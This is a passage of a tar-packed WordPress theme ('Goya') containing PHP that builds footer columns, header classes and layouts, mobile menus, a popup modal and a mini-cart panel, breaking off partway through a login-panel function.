get_theme_mod('footer_widgets_columns', 3); $col_width = get_theme_mod('footer_widgets_column_width', 'equal'); ?> <?php if ($columns == 1) { ?> <div class="col-12"> <?php dynamic_sidebar('footer1'); ?> </div> <?php } else if ($col_width == 'equal') { $columns_medium = ( intval( $columns ) < 2 ) ? '1' : '2'; $columns_large = (intval( $columns )) ? $columns : '2'; $columns_class = apply_filters( 'footer_widgets_columns_class', 'col-12 col-md-' . 12/$columns_medium . ' col-lg-' . 12/$columns_large ); for ($i = 1; $i <= $columns ; $i++) { ?> <div class="<?php echo esc_attr($columns_class . ' footer' . $i); ?>"> <?php dynamic_sidebar('footer' . $i); ?> </div> <?php } ?> <?php } else { ?> <?php if ($columns == 4) { if ($col_width == 'first') { $footX = 'footer1'; $footY = 'footer4'; } else { $footX = 'footer4'; $footY = 'footer1'; } ?> <div class="column-wide column-<?php echo esc_attr( $col_width ); ?> col-md-4 <?php echo esc_attr( $footX ); ?>"> <?php dynamic_sidebar($footX); ?> </div> <div class="other-columns col"> <div class="row"> <div class="col-12 col-lg-4 col-md-6 footer2"> <?php dynamic_sidebar('footer2'); ?> </div> <div class="col-12 col-lg-4 col-md-6 footer3"> <?php dynamic_sidebar('footer3'); ?> </div> <div class="col-12 col-lg-4 col-md-6 <?php echo esc_attr( $footY ); ?>"> <?php dynamic_sidebar($footY); ?> </div> </div> </div> <?php } else if ($columns == 3) { if ($col_width == 'first') { $footX = 'footer1'; $footY = 'footer3'; } else { $footX = 'footer3'; $footY = 'footer1'; } ?> <div class="column-wide column-<?php echo esc_attr( $col_width ); ?> col-md-5 <?php echo esc_attr( $footX ); ?>"> <?php dynamic_sidebar($footX); ?> </div> <div class="other-columns col"> <div class="row"> <div class="col-12 col-md-6 footer2"> <?php dynamic_sidebar('footer2'); ?> </div> <div class="col-12 col-md-6 <?php echo esc_attr( $footY ); ?>"> <?php dynamic_sidebar($footY); ?> </div> </div> </div> <?php } else if ($columns == 2) { if ($col_width == 'first') { $footX = 'footer1'; $footY = 'footer2'; } else { $footX = 'footer2'; $footY = 'footer1'; } ?> <div class="column-wide column-<?php echo esc_attr( $col_width ); ?> col-md-7 <?php echo esc_attr( $footX ); ?>"> <?php dynamic_sidebar($footX); ?> </div> <div class="other-columns col <?php echo esc_attr( $footY ); ?>"> <?php dynamic_sidebar($footY); ?> </div> <?php } ?> <?php } ?> <?php } add_action( 'goya_footer_columns', 'goya_footer_columns' ); function goya_footer_elements( $item ) { switch ( $item ) { case 'copyright': echo '<div class="footer-bar-content copyright">' . do_shortcode( wp_kses( get_theme_mod( 'footer_bar_copyright', '' ), 'essentials' ) ). '</div>'; break; case 'menu': get_template_part( 'inc/templates/footer/menu-footer'); break; case 'social': echo goya_social_profiles( 'footer-social-icons' ); break; case 'currency': do_action( 'goya_currency_switcher' ); break; case 'language': do_action( 'goya_language_switcher' ); break; case 'currency_language': echo '<div class="switchers">'; do_action( 'goya_currency_switcher' ); do_action( 'goya_language_switcher' ); echo '</div>'; break; case 'text': echo '<div class="footer-bar-content text-1">' . do_shortcode( wp_kses( get_theme_mod('footer_bar_custom_text', ''), 'essentials' ) ) .'</div>'; break; case 'text2': echo '<div class="footer-bar-content text-2">' . do_shortcode( wp_kses( get_theme_mod('footer_bar_custom_text2', ''), 'essentials' ) ) .'</div>'; break; default: do_action( 'goya_footer_main_item', $item ); break; } } /* Back to Top ---------------------------------------------------------- */ function goya_back_to_top() { if ( get_theme_mod('back_to_top_button', true) == false ) { return; } ?> <a href="#" title="<?php esc_attr_e('Scroll To Top', 'goya'); ?>" id="scroll_to_top"><span class="arrow-top"><?php get_template_part('assets/img/svg/arrow-right.svg'); ?></span></a> <?php } add_action( 'wp_footer', 'goya_back_to_top' ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������frontend/header.php���������������������������������������������������������������������������������0000644�����������������00000067762�15154650146�0010355 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /* Header Styles ---------------------------------------------------------- */ function goya_header_styles() { global $wp_query; global $wp; /* Header Color Scheme */ $classes[] = ''; $header_color = ''; $page_header_border = goya_meta_config('page','header_border',true); $is_sale_page = $wp_query->is_sale_page; $is_latest_page = $wp_query->is_latest_page; if ($is_sale_page) { $classes[] = 'onsale-products-page'; } if ($is_latest_page) { $classes[] = 'latest-products-page'; } // All Woocommerce pages but product page if ( goya_is_woocommerce() && (! is_product() ) ) { $shop_hero_title = goya_meta_config('shop','hero_title','none'); $shop_header_border = goya_meta_config('shop','header_border',true); $header_mode = goya_meta_config('shop','transparent_header', true) == true ? 'transparent' : 'regular'; $header_color = ''; //Color mode of the hero title if ( $shop_hero_title != 'none' ) { $hero_style = goya_meta_config('shop','menu_color','dark-title'); // Sale, Latest pages if ( ( $is_sale_page || $is_latest_page ) && $shop_hero_title != 'main-hero') { $header_style = get_post_meta(get_queried_object_id(), 'goya_page_header_style', true); $hero_s = get_post_meta(get_queried_object_id(), 'goya_page_hero_title_style', true); if ($hero_s && $hero_s != '') { $hero_style = $hero_s; } if ($header_style && $header_mode == 'transparent') { $header_color = $header_style; } // Tax } else if ( is_tax() && $shop_hero_title != 'main-hero') { $term = get_queried_object(); $term_id = $term->term_id; $hero_s = get_term_meta( $term_id, 'shop_menu_color_cat', true ); if ($hero_s && $hero_s != '') { $hero_style = $hero_s; } if ($hero_style && $header_mode == 'transparent') { $header_color = $hero_style; } // All pages } else if ( $shop_hero_title == 'all-hero' && is_page() ) { $request = explode( '/', $wp->request ); // Override options per page $transparent_header = get_post_meta(get_queried_object_id(), 'goya_page_transparent_header', true); $header_style = get_post_meta(get_queried_object_id(), 'goya_page_header_style', true); $title_style = get_post_meta(get_queried_object_id(), 'goya_page_title_style', true); $hero_style = get_post_meta(get_queried_object_id(), 'goya_page_hero_title_style', true); if (!is_user_logged_in() && is_account_page() && end($request) !== 'lost-password') { $header_mode = 'regular'; $classes[] = 'header-border-' . $page_header_border; } else { if ($title_style == 'hero') { $classes[] = 'hero-' . $hero_style; } else { $classes[] = 'hero-' . goya_meta_config('shop','menu_color','dark-title'); } if($transparent_header == 'transparent') { $header_color = $header_style; } else if ($header_mode == 'transparent') { $header_color = $header_color = goya_meta_config('shop','menu_color','dark-title'); } } // Search } else if ( is_shop() && is_search() && $shop_hero_title != 'main-hero') { $header_color = goya_meta_config('shop','menu_color','dark-title'); // Shop } else if ( is_shop() && !is_search() && !$is_sale_page && !$is_latest_page && $header_mode == 'transparent') { $header_color = goya_meta_config('shop','menu_color','dark-title'); } else { $classes[] = 'header-border-' . $shop_header_border; $header_mode = 'regular'; } $classes[] = 'hero-' . $hero_style; } else { $classes[] = 'header-border-' . $shop_header_border; $header_mode = 'regular'; } // Single product page } else if ( goya_is_woocommerce() && ( is_product() ) ) { $product_layout = goya_meta_config('product','layout_single','regular'); $is_showcase = ($product_layout == 'showcase') ? true : false; $transparent_header = goya_meta_config('product','transparent_header',false); // To override one product only on the demo site $transparent_header_ex = goya_meta_config('product','transparent_header_ex',false); if ($transparent_header_ex == 'border') { $transparent_header = false; } if ($is_showcase) { $transparent_header = apply_filters( 'goya_showcase_transparent_header', true ); } $shop_header_border = goya_meta_config('shop','header_border',true); if ( $transparent_header == true ) { $single_prod_header = get_post_meta(get_queried_object_id(), 'goya_product_header_style', true); $single_prod_transparent = get_post_meta(get_queried_object_id(), 'goya_product_transparent_header', true); $global_prod_header = get_theme_mod('product_header_color', 'dark-title'); $header_mode = 'transparent'; $header_color = ($single_prod_header && $single_prod_transparent) ? $single_prod_header : $global_prod_header; } else { $classes[] = 'header-border-' . $shop_header_border; $header_mode = 'regular'; } /* Showcase Background */ $showcase_text = goya_meta_config('product','showcase_style','dark-text'); $classes[] = 'product-showcase-' . $showcase_text; /* Sticky product bar */ if ( get_theme_mod( 'product_sticky_bar', true ) == true ) { $classes[] = 'fixed-product-bar'; $classes[] = 'fixed-product-bar-' . get_theme_mod('product_sticky_bar_position', 'top' ); if ( get_theme_mod('product_sticky_bar_mobile', false ) == true ) { $classes[] = 'fixed-product-bar-mobile-1'; } } // Other pages } else if ( is_page() ) { $transparent_header = get_post_meta(get_queried_object_id(), 'goya_page_transparent_header', true); $header_style = get_post_meta(get_queried_object_id(), 'goya_page_header_style', true); $title_style = get_post_meta(get_queried_object_id(), 'goya_page_title_style', true); $hero_style = get_post_meta(get_queried_object_id(), 'goya_page_hero_title_style', true); if($title_style != 'hide') { $classes[] = 'page-title-visible'; } if ($title_style == 'hero') { $classes[] = 'hero-title-active hero-' . $hero_style; } if ( $transparent_header == 'transparent' ) { $header_mode = 'transparent'; $header_color = $header_style; } else { $header_mode = 'regular'; $classes[] = 'header-border-' . $page_header_border; } // Single portfolio } elseif ( is_singular('portfolio') ) { $title_style = goya_meta_config('portfolio','title_style','parallax'); $header_style = get_theme_mod('portfolio_header_style','dark-title'); $transparent_header = goya_meta_config('portfolio','transparent_header',false); $title_style_meta = get_post_meta(get_queried_object_id(), 'goya_portfolio_title_style', true); $header_style_meta = get_post_meta(get_queried_object_id(), 'goya_portfolio_header_style', true); $transparent_header_meta = get_post_meta(get_queried_object_id(), 'goya_portfolio_transparent_header', true); $hero_title_style = ($title_style_meta == false ) ? get_theme_mod('portfolio_header_style', 'dark-title') : get_post_meta(get_queried_object_id(), 'goya_portfolio_hero_title_style', true); if($title_style != 'hide') { $classes[] = 'page-title-visible'; } if ($title_style == 'hero' || $title_style == 'parallax') { $classes[] = 'hero-title-active hero-'.$hero_title_style; } if ( $transparent_header == true && ($title_style == 'hero' || $title_style == 'parallax') ) { $header_mode = 'transparent'; if ($transparent_header_meta == 'transparent') { $header_color = $header_style_meta; } else { $header_color = $header_style; } } else { $header_mode = 'regular'; $classes[] = 'header-border-' . $page_header_border; } // Knowledge Base } elseif ( is_singular('ht_kb') || is_post_type_archive('ht_kb') || is_tax('ht_kb_category') || is_tax('ht_kb_tag') || array_key_exists('ht-kb-search', $_REQUEST) ) { $header_mode = 'transparent'; $classes[] = 'header-border-0'; // Single post } elseif ( is_single() ) { $format = get_post_format(); $feat_gallery = goya_meta_config('post','featured_image','below'); $transparent_header = goya_meta_config('post','transparent_header',false); $hero_title = goya_meta_config('blog','hero_title',false); $hero_title = false; $tcolor = get_post_meta(get_queried_object_id(), 'goya_post_header_style', true); $title_color = (!empty($tcolor)) ? $tcolor : 'light-title'; if ( $transparent_header == true && ( ( $feat_gallery == 'parallax' && $format != 'video' ) || ( $hero_title == true && $feat_gallery == 'regular' ) ) ) { $header_mode = 'transparent'; $header_color = $tcolor; } else { $header_mode = 'regular'; $classes[] = 'header-border-' . $page_header_border; } $classes[] = 'hero-' . $tcolor; // Blog } elseif ( goya_is_blog() ) { $hero_title = goya_meta_config('blog','hero_title',false); $hero_style = goya_meta_config('blog','menu_color','dark-title'); $transparent_header = get_theme_mod('blog_transparent_header',false); $term = get_queried_object(); if ($term) { $term_id = $term->term_id; $hero_s = get_term_meta( $term_id, 'shop_menu_color_cat', true ); if ($hero_s && $hero_s != '') { $hero_style = $hero_s; } } if ($hero_title == true) { $classes[] = 'hero-title-active hero-' . $hero_style; } if ( $transparent_header == 'transparent' && $hero_title == true && !is_front_page() ) { $header_mode = 'transparent'; $header_color = $hero_style; } else { $header_mode = 'regular'; $classes[] = 'header-border-' . $page_header_border; } // Everything else } else { $header_mode = 'regular'; $classes[] = 'header-border-' . $page_header_border; } if ($header_color == '') { $header_color = get_theme_mod('header_regular_mode', 'dark') . '-title'; } /* Sticky Header Color Scheme */ $classes[] = 'sticky-header-' . get_theme_mod('header_regular_mode', 'dark'); // Transparent header on mobiles $header_transparent_mobiles = get_theme_mod('header_transparent_mobiles',true); $classes[] = ( $header_transparent_mobiles == true ) ? 'header-transparent-mobiles' : ''; if( goya_wc_active() ) { //Catalog Mode $classes[] = ( get_theme_mod( 'shop_catalog_mode', false ) == true ) ? 'shop-catalog-mode' : ''; if (class_exists('argMC\WooCommerceCheckout')) { $classes[] = 'woocommerce-multistep'; } } // Header Mode $classes[] = apply_filters('goya_page_header_mode','page-header-' . $header_mode); // Title Color $main_header_color = post_password_required() ? false : $header_color; $classes[] = apply_filters('goya_page_header_color', $main_header_color); return $classes; } /* Header Classes ---------------------------------------------------------- */ function goya_header_classes() { $header_layout = goya_meta_config('','header_layout','prebuild'); if ($header_layout != 'custom') { $version = goya_meta_config('','header_version','v6'); $header_layout = apply_filters( 'goya_header_version_meta', $version ); } $sticky_section = 'top'; if (get_theme_mod('header_show_bottom', true) && $header_layout == 'custom') { $sticky_section = get_theme_mod('header_sticky_sections','top'); } $classes[] = 'header site-header'; $classes[] = 'header-'.$header_layout; $classes[] = 'sticky-display-' . $sticky_section; // Mega menu $classes[] = ( get_theme_mod('megamenu_fullwidth', true) == true ) ? 'megamenu-fullwidth' : ''; $classes[] = ( get_theme_mod('megamenu_column_animation', false) == true ) ? 'megamenu-column-animation' : ''; return $classes; } add_filter( 'goya_header_class', 'goya_header_classes' ); /* Site Logo ---------------------------------------------------------- */ function goya_site_logo($logo,$color) { $logo = ( is_ssl() ) ? str_replace( 'http://', 'https://', $logo ) : $logo; $site_name = get_bloginfo( 'name' ); echo '<img src="' . esc_url($logo) . '" class="skip-lazy logoimg bg--'. esc_attr($color) .'" alt="'. esc_attr($site_name) .'"/>'; } /* Page Transition ---------------------------------------------------------- */ function goya_page_transition() { if ( goya_meta_config('','page_transition',false) == false ) { return; } $loader = get_theme_mod( 'page_transition_style', 'dot3-loader' ); ?> <div id="et-page-load-overlay" class="et-page-load-overlay"> <span class="loader"> <?php if ($loader == 'custom-loader') { ?> <img src="<?php echo esc_attr( get_theme_mod( 'page_transition_icon', '' ) ); ?>" class="custom-loader" /> <?php } else { ?> <span class="<?php echo esc_attr( $loader ); ?>"></span> <?php } ?> </span> </div> <?php } add_action( 'goya_before_site', 'goya_page_transition' ); /* Site Global Layout ---------------------------------------------------------- */ function goya_site_layout() { if ( get_theme_mod('site_global_layout','regular') != 'framed' ) { return; } echo '<span class="frame-spacer line-top"></span><span class="frame-spacer line-right"></span><span class="frame-spacer line-bottom"></span><span class="frame-spacer line-left"></span>'; } add_action( 'goya_before_site', 'goya_site_layout' ); /* Campaign Bar ---------------------------------------------------------- */ function goya_campaigns() { if ( goya_meta_config('','campaign_bar',false) == false ) { return; } get_template_part( 'inc/templates/header-parts/campaigns' ); } add_action( 'goya_before_site', 'goya_campaigns', 99 ); /* Top Bar ---------------------------------------------------------- */ function goya_topbar() { if ( goya_meta_config('','top_bar',false) == false ) { return; } get_template_part( 'inc/templates/header-parts/top-bar' ); } add_action( 'goya_before_header', 'goya_topbar' ); /* Top Bar Items ---------------------------------------------------------- */ function goya_topbar_elements( $item ) { global $goya; switch ( $item ) { case 'menu': if ( has_nav_menu( 'topbar-menu' ) ) { wp_nav_menu( array( 'theme_location' => 'topbar-menu', 'depth' => 1, 'container' => false, 'menu_class' => 'et-top-menu' ) ); } break; case 'social': echo goya_social_profiles( 'top-bar-social-icons' ); break; case 'currency': do_action( 'goya_currency_switcher' ); break; case 'language': do_action( 'goya_language_switcher' ); break; case 'hamburger': do_action( 'goya_hamburger', 'fullscreen' ); $goya['panels'][] = 'hamburger'; break; case 'wishlist': do_action( 'goya_quick_wishlist' ); break; case 'account': do_action( 'goya_get_myaccount_link', true ); $goya['panels'][] = 'account'; break; case 'search': do_action( 'goya_quick_search' ); $goya['panels'][] = 'search'; break; case 'search-box': do_action( 'goya_search_box' ); $template = ''; break; case 'cart': if ( ! class_exists( 'WooCommerce' ) ) { break; } do_action( 'goya_quick_cart' ); $goya['panels'][] = 'cart'; break; case 'text': echo '<div class="et-top-bar-text text-1">' . do_shortcode( wp_kses( get_theme_mod('top_bar_text', ''), 'essentials' ) ) .'</div>'; break; case 'text2': echo '<div class="et-top-bar-text text-2">' . do_shortcode( wp_kses( get_theme_mod('top_bar_text2', ''), 'essentials' ) ) .'</div>'; break; case 'text3': echo '<div class="et-top-bar-text text-3">' . do_shortcode( wp_kses( get_theme_mod('top_bar_text3', ''), 'essentials' ) ) .'</div>'; break; default: do_action( 'goya_topbar_main_item', $item ); break; } } /* Hamburger Menu */ function goya_hamburger($menu) { ?> <div class="hamburger-menu"> <button class="menu-toggle <?php echo esc_attr( $menu ) ?>-toggle" data-target="<?php echo esc_attr( $menu ) ?>-menu"><span class="bars"><?php echo apply_filters( 'goya_menu_icon', goya_load_template_part('assets/img/svg/menu.svg') ); ?></span> <span class="name"><?php esc_attr_e( 'Menu', 'goya' ); ?></span></button> </div> <?php } add_action( 'goya_hamburger', 'goya_hamburger' ); /* Fullscreen menu check */ function goya_load_menu_location($location) { if (has_nav_menu( $location )) { $menu = $location; } else if (has_nav_menu( 'primary-menu' )) { $menu = 'primary-menu'; } else { $menu = false; } return $menu; } /* Header ---------------------------------------------------------- */ function goya_header() { get_template_part( 'inc/templates/header/header-default' ); } add_action( 'goya_header', 'goya_header' ); /* Header Layout */ function goya_header_content() { if ( 'prebuild' == goya_meta_config( '','header_layout','prebuild' ) ) { $version = goya_meta_config( '','header_version','v6' ); $header_version = apply_filters( 'goya_header_version_meta', $version ); $header_main = array(); $header_bottom = array(); switch ( $header_version ) { case 'v1': $elements = array( 'left' => array('hamburger','menu-primary'), 'center' => array('logo'), 'right' => array('account','search','wishlist','cart'), ); break; case 'v2': $elements = array( 'left' => array('hamburger','search'), 'center' => array('menu-primary','logo','menu-secondary'), 'right' => array('account','cart'), ); break; case 'v3': $elements = array( 'left' => array('hamburger','search'), 'center' => array('logo'), 'right' => array('account','cart'), ); break; case 'v4': $elements = array( 'left' => array('hamburger','logo','menu-primary'), 'right' => array('account','search','wishlist','cart'), ); break; case 'v5': $elements = array( 'left' => array('hamburger','logo'), 'right' => array('account','search','wishlist','cart'), ); break; case 'v6': $elements = array( 'left' => array('hamburger','logo'), 'center' => array('menu-primary'), 'right' => array('account','search','cart'), ); break; case 'v7': $elements = array( 'left' => array('logo','menu-primary'), 'right' => array('account','search','cart','hamburger'), ); break; case 'v8': $elements = array( 'left' => array('logo','menu-primary'), 'right' => array('account','search','cart'), ); break; case 'v9': $elements = array( 'left' => array('hamburger','search'), 'center' => array('logo'), 'right' => array('account','cart'), ); $header_bottom = array( 'center' => array( array( 'item' => 'menu-primary' ), ), ); break; default: break; } foreach($elements as $sec => $val) { unset($item); foreach($val as $el) { $item[] = array( 'item' => $el ); } $header_main[$sec] = $item; } } else { $header_main = array( 'left' => goya_meta_config( '','header_main_left','' ), 'center' => goya_meta_config( '','header_main_center','' ), 'right' => goya_meta_config( '','header_main_right','' ), ); $header_bottom = array( 'left' => goya_meta_config( '','header_bottom_left','' ), 'center' => goya_meta_config( '','header_bottom_center','' ), 'right' => goya_meta_config( '','header_bottom_right','' ), ); } goya_header_sections( apply_filters('goya_header_elements_top', $header_main), 'header-main'); if (!empty($header_bottom) && get_theme_mod('header_show_bottom', true)) { goya_header_sections( apply_filters('goya_header_elements_bottom', $header_bottom), 'header-bottom'); } } add_action( 'goya_header_inner', 'goya_header_content' ); /* Header Contents ---------------------------------------------------------- */ function goya_header_sections( $groups, $class ) { if ( false == array_filter( $groups ) ) { return; } $classes[] = $class; $classes[] = 'header-section'; if ( empty( $groups['left'] ) && empty( $groups['right'] ) ) { unset( $groups['left'] ); unset( $groups['right'] ); } if ( ! empty( $groups['center'] ) ) { $center_items = wp_list_pluck( $groups['center'], 'item' ); if ( in_array( 'menu-primary', $center_items ) || in_array( 'menu-secondary', $center_items ) ) { $classes[] = 'menu-center'; } if ( in_array( 'logo', $center_items ) ) { $classes[] = 'logo-center'; } if ( empty( $groups['left'] ) && empty( $groups['right'] ) ) { $classes[] = 'no-sides'; } } else { $classes[] = 'no-center'; unset( $groups['center'] ); if ( empty( $groups['left'] ) ) { unset( $groups['left'] ); } if ( empty( $groups['right'] ) ) { unset( $groups['right'] ); } } ?> <div class="<?php echo esc_attr( implode( ' ', $classes ) ) ?> "> <div class="header-contents container"> <?php foreach ( $groups as $group => $items ) : ?> <div class="header-<?php echo esc_attr( $group ); ?>-items header-items"> <?php goya_header_items( $items ); ?> </div> <?php endforeach; ?> </div> </div> <?php } /* Header Items ---------------------------------------------------------- */ function goya_header_items( $items ) { global $goya; if ( empty( $items ) ) { return; } foreach ( $items as $item ) { $item['item'] = $item['item'] ? $item['item'] : key( goya_header_elements_list() ); $template = $item['item']; switch ( $item['item'] ) { case 'hamburger': do_action( 'goya_hamburger', 'fullscreen' ); $template = ''; $goya['panels'][] = $item['item']; break; case 'account': do_action( 'goya_get_myaccount_link', true ); $template = ''; $goya['panels'][] = $item['item']; break; case 'wishlist': do_action( 'goya_quick_wishlist' ); $template = ''; break; case 'search': do_action( 'goya_quick_search' ); $template = ''; $goya['panels'][] = $item['item']; break; case 'search-box': do_action( 'goya_search_box' ); $template = ''; break; case 'cart': if ( ! class_exists( 'WooCommerce' ) ) { break; } do_action( 'goya_quick_cart' ); $template = ''; $goya['panels'][] = $item['item']; break; case 'text': echo '<div class="et-header-text text-1">' . do_shortcode( wp_kses( get_theme_mod('header_custom_text', ''), 'essentials' ) ) .'</div>'; break; case 'text2': echo '<div class="et-header-text text-2">' . do_shortcode( wp_kses( get_theme_mod('header_custom_text2', ''), 'essentials' ) ) .'</div>'; break; case 'text3': echo '<div class="et-header-text text-3">' . do_shortcode( wp_kses( get_theme_mod('header_custom_text3', ''), 'essentials' ) ) .'</div>'; break; case 'social': echo goya_social_profiles( 'header-social-icons' ); break; case 'currency': do_action( 'goya_currency_switcher' ); break; case 'language': do_action( 'goya_language_switcher' ); break; default: do_action( 'goya_header_items_action', $item['item'] ); break; } if ( $template ) { get_template_part( 'inc/templates/header-parts/' . $template ); } } } /* Vertical Panel Bar ---------------------------------------------------------- */ function goya_vertical_panel_bar() { if ( goya_meta_config('','vertical_bar',true) == true ) { $bar_mode = ( goya_meta_config('','vertical_bar_mode', 'light') == 'dark' ) ? 'dark' : 'light'; $bar_style = apply_filters( 'goya_menu_style', $bar_mode ); ?> <div class="mobile-bar <?php echo esc_attr( $bar_style ) ?>"> <a href="#" class="et-close" title="<?php esc_attr_e('Close', 'goya'); ?>"></a> <div class="action-icons"> <?php do_action( 'goya_vertical_bar_icons', 'vertical_bar' ); ?> </div> </div> <?php } else { ?> <header> <div class="container"> <div class="panel-header-inner"> <a href="#" class="et-close" title="<?php esc_attr_e('Close', 'goya'); ?>"></a> </div> </div> </header> <?php } } add_action( 'goya_vertical_panel_bar', 'goya_vertical_panel_bar', 99 ); /* Mobile Header ----------------------------------------------------------*/ /* Mobile Header/Vertical Bar Icons */ function goya_panel_header_icons($position) { global $goya; if ($position == 'mobile_header') { $icons = get_theme_mod('mobile_header_icons', array( array( 'item' => 'cart' ) )); $is_header = true; } else { $icons = get_theme_mod('vertical_bar_icons', array( 'account', 'wishlist' )); $is_header = false; } if ( empty( $icons ) ) { return; } foreach ( $icons as $icon ) { if ($position == 'mobile_header') { $this_icon = $icon['item'] ? $icon['item'] : key( goya_mobile_header_elements_list() ); } else { $this_icon = $icon ? $icon : key( goya_mobile_header_elements_list() ); } switch ( $this_icon ) { case 'cart': if ( ! class_exists( 'WooCommerce' ) ) { break; } do_action( 'goya_quick_cart' ); $goya['panels'][] = 'cart'; break; case'wishlist': do_action( 'goya_quick_wishlist' ); break; case 'search': do_action( 'goya_quick_search' ); $goya['panels'][] = 'search'; break; case 'account': do_action( 'goya_get_myaccount_link', $is_header ); $goya['panels'][] = 'account'; break; case 'language': do_action( 'goya_language_switcher' ); break; case 'currency': do_action( 'goya_currency_switcher' ); break; case 'text': echo '<div class="et-mobile-header-text text-1">' . do_shortcode( wp_kses( get_theme_mod('header_mobile_custom_text', ''), 'essentials' ) ) .'</div>'; break; default: do_action( 'goya_mobile_header_icon', $this_icon ); break; } } } add_action( 'goya_mobile_header_icons', 'goya_panel_header_icons' ); add_action( 'goya_vertical_bar_icons', 'goya_panel_header_icons' ); /* Mobile header */ function goya_mobile_header() { $classes[] = 'logo-' . get_theme_mod('mobile_logo_position', 'center'); ?> <div class="header-mobile <?php echo esc_attr( implode( ' ', $classes ) ); ?>"> <div class="header-contents container"> <?php get_template_part( 'inc/templates/header/header', 'mobile' ); ?> </div> </div> <?php } add_action( 'goya_header_inner', 'goya_mobile_header', 99 ); /* Mobile menu */ function goya_mobile_menu_extras() { global $goya; $items = get_theme_mod('menu_mobile_items', array('account', 'divider1', 'currency', 'language', 'divider2', 'social') ); foreach ( $items as $indx => $item ) { switch ( $item ) { case 'cart': if ( ! class_exists( 'WooCommerce' ) ) { break; } do_action( 'goya_quick_cart' ); $goya['panels'][] = 'cart'; break; case 'wishlist': do_action( 'goya_quick_wishlist' ); break; case 'account': if ( ! class_exists( 'WooCommerce' ) ) { break; } ?> <ul class="account-menu"> <?php if ( ! is_user_logged_in() ) { echo '<li class="account-link account-login"><a href="' . esc_url( wc_get_account_endpoint_url( 'dashboard' ) ) . '" class="et-menu-account-btn"><span class="text">' . esc_html__( 'Login', 'woocommerce' ) . '</span>' . apply_filters( 'goya_account_icon', goya_load_template_part('assets/img/svg/user.svg') ) . '</a></li>'; } else { echo '<li class="account-link account-dashboard"><a href="' . esc_url( wc_get_account_endpoint_url( 'dashboard' ) ) . '"><span class="text">' . esc_html__( 'My Account', 'goya' ) . '</span>' . apply_filters( 'goya_account_icon', goya_load_template_part('assets/img/svg/user.svg') ) . '</a></li>'; echo '<li class="account-link account-logout"><a href="' . esc_url( wc_get_account_endpoint_url( 'customer-logout' ) ) . '"><span class="text">' . esc_html__( 'Logout', 'goya' ) . '</span>' . apply_filters( 'goya_logout_icon', goya_load_template_part('assets/img/svg/log-out.svg') ) . '</a></li>'; } ?> </ul> <?php $goya['panels'][] = 'account'; break; case 'language': do_action( 'goya_language_switcher' ); break; case 'currency': do_action( 'goya_currency_switcher' ); break; case 'social': echo goya_social_profiles( 'mobile-social-icons' ); break; case 'divider1': case 'divider2': case 'divider3': case 'divider4': echo '<div class="menu-divider"></div>'; break; case 'text': echo '<div class="et-mobile-text text-1">' . do_shortcode( wp_kses( get_theme_mod('menu_mobile_custom_text', ''), 'essentials' ) ) .'</div>'; break; case 'text2': echo '<div class="et-mobile-text text-2">' . do_shortcode( wp_kses( get_theme_mod('menu_mobile_custom_text2', ''), 'essentials' ) ) .'</div>'; break; case 'text3': echo '<div class="et-mobile-text text-3">' . do_shortcode( wp_kses( get_theme_mod('menu_mobile_custom_text3', ''), 'essentials' ) ) .'</div>'; break; default: do_action( 'goya_mobile_menu_items', $item ); break; } } } add_action( 'goya_after_mobile_menu', 'goya_mobile_menu_extras' ); ��������������frontend/panels.php���������������������������������������������������������������������������������0000644�����������������00000011232�15154650146�0010364 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /* Popup */ function goya_popup_modal() { $popup_modal = goya_meta_config('','popup_modal',false); $goya_popup = apply_filters( 'goya_popup_modal', $popup_modal ); if ($popup_modal) { $classes[] = 'popup-layout-' . goya_meta_config('','popup_layout','1-col'); $classes[] = goya_meta_config('','popup_color_style',''); if(!is_admin() && $goya_popup ) { $popup_content = get_theme_mod( 'popup_content', '' ); $popup_image = get_theme_mod( 'popup_image', '' ); $delay = goya_meta_config('','popup_delay', 3 ) * 1000; ?> <aside id="goya-popup" rel="inline-auto" class="mfp-hide mfp-automatic goya-popup <?php echo implode(' ', $classes); ?>" data-class="goya-popup" data-delay="<?php echo esc_attr( $delay ); ?>"> <div class="popup-wrapper"> <?php if ( strlen( $popup_image ) > 0 ) { $popup_image = ( is_ssl() ) ? str_replace( 'http://', 'https://', $popup_image ) : $popup_image; } ?> <div class="popup-image"> <div class="image-wrapper" style="background-image: url(<?php echo esc_attr($popup_image); ?>)"><img src="<?php echo esc_attr($popup_image); ?>" alt="goya-popup"></div> </div> <div class="popup-content"> <div class="content-wrapper"> <?php if ($popup_content) { echo do_shortcode( wp_kses_post( $popup_content ) ); } ?> </div> </div> </div> </aside> <?php } } } add_action( 'wp_footer', 'goya_popup_modal' ); /* Mobile/Side Menu Panel*/ function goya_mobile_menu() { get_template_part( 'inc/templates/header/mobile-menu' ); } add_action( 'wp_footer', 'goya_mobile_menu' ); /* FullScreen Menu Panel */ function goya_fullscreen_panel() { global $goya; $mobile_override = get_theme_mod('menu_fullscreen_override',false); if ( empty( $goya['panels'] ) || ! in_array( 'hamburger', $goya['panels'] ) || $mobile_override == true ) { return; } get_template_part( 'inc/templates/header/fullscreen-menu' ); } add_action( 'wp_footer', 'goya_fullscreen_panel' ); /* Mini Cart Panel */ function goya_quick_cart_panel() { global $goya; if ( empty( $goya['panels'] ) || ! in_array( 'cart', $goya['panels'] ) ) { return; } if ( ! class_exists( 'WooCommerce' ) ) { return; } $classes[] = 'side-panel mini-cart'; $classes[] = goya_meta_config('header', 'cart_position', 'side'); $classes[] = goya_meta_config('header', 'cart_color', 'light'); if ( !is_cart() ) { ?> <nav id="side-cart" class="<?php echo implode(' ', $classes); ?>"> <header> <div class="container"> <div class="panel-header-inner"> <div class="side-panel-title"><?php esc_html_e('Cart', 'goya' ); ?> <?php echo goya_minicart_items_count(); ?></div> <a href="#" class="et-close" title="<?php esc_attr_e('Close', 'goya'); ?>"></a> </div> </div> </header> <div class="side-panel-content container widget_shopping_cart"> <div id="minicart-loader"> <span class="et-loader"><?php esc_html_e( 'Updating…', 'goya' );?></span> </div> <div class="widget_shopping_cart_content"> <?php woocommerce_mini_cart(); ?> </div> </div> </nav> <?php } } add_action( 'wp_footer', 'goya_quick_cart_panel',3 ); /* Quick Login Panel*/ function goya_quick_login_panel() { global $goya; if ( 